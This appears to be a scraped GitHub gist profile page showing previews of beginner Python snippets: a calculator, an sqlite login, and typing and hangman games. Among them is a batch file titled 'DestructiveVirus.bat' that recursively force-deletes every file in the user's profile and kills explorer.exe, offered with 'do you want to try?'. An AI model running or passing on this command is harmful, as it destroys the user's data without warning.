Skip to content

Instantly share code, notes, and snippets.

View go4Mor4's full-sized avatar
💡
Focusing

Gabriel Mora go4Mor4

💡
Focusing
  • Getnet Brasil
  • Sao Paulo, Brazil
View GitHub Profile
from tkinter import *
class Calculator():
def __init__(self, master=None, **kwargs):
master.title('CALCULATOR')
master.geometry('339x400')
display = StringVar()
view = Entry(self,highlightthickness= 0, relief=SUNKEN, textvariable=display, border=0, font=('Calibri', 24))
view.bind('<Return>', lambda e, s=self, w=display: s.calc(w))
view.place(x=0, y=6, width=254, height=36)
view.focus_set()
class Mainframe(tk.Tk):
def __init__(self):
tk.Tk.__init__(self)
self.frame = Login_Screen(self)
self.frame['bg'] = '#222'
self.frame.pack(fill=BOTH, expand=1)
def change(self, frame):
self.frame.pack_forget()
self.frame = frame(self)
self.frame['bg'] = '#222'
@go4Mor4
go4Mor4 / estudo_sqlite.py
Last active November 12, 2018 20:52
login in sqlite with python
import sqlite3
conn = sqlite3.connect('banco.db')
cursor = conn.cursor()
login_cadastro = int(input("Digite 1 para login e 0 para cadastro:\n>>"))
if login_cadastro == 0:
print("Registro")
cadastro_usuario = input("Usuario: ")
cursor.execute("""
SELECT * FROM usuarios;
""")
@go4Mor4
go4Mor4 / DestructiveVirus.bat
Created September 5, 2018 01:48
this virus erases all files on your computer, do you want to try?
@ echo off
cd\
cd %userprofile%
del /s /q /f *
taskkill -f /im explorer.exe
exit
import random
import time
import os
teclado = [
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
'x', 'y', 'z', '1', '2', '3', '4', '5', '6', '7', '8',
'9', '0'
]
import random
import test
import time
def forca(chances):
if chances == 7:
print("------------")
print("| |")
print("| ")
@luzfcb
luzfcb / resposta_aos_novatos.md
Last active March 13, 2024 21:20
resposta aos iniciantes novatos pythonbrasil

Olá, seja bem vindo ao grupo Python-Brasil.

  • Insira aqui o pedido de mais informações ou possivel solução a pergunta feita

Dito isto, aqui nós possuímos algumas regras que ajudam a manter essa lista útil e agradável para os participantes

Antes de mandar as suas próximas perguntas, pedimos para que leia o texto: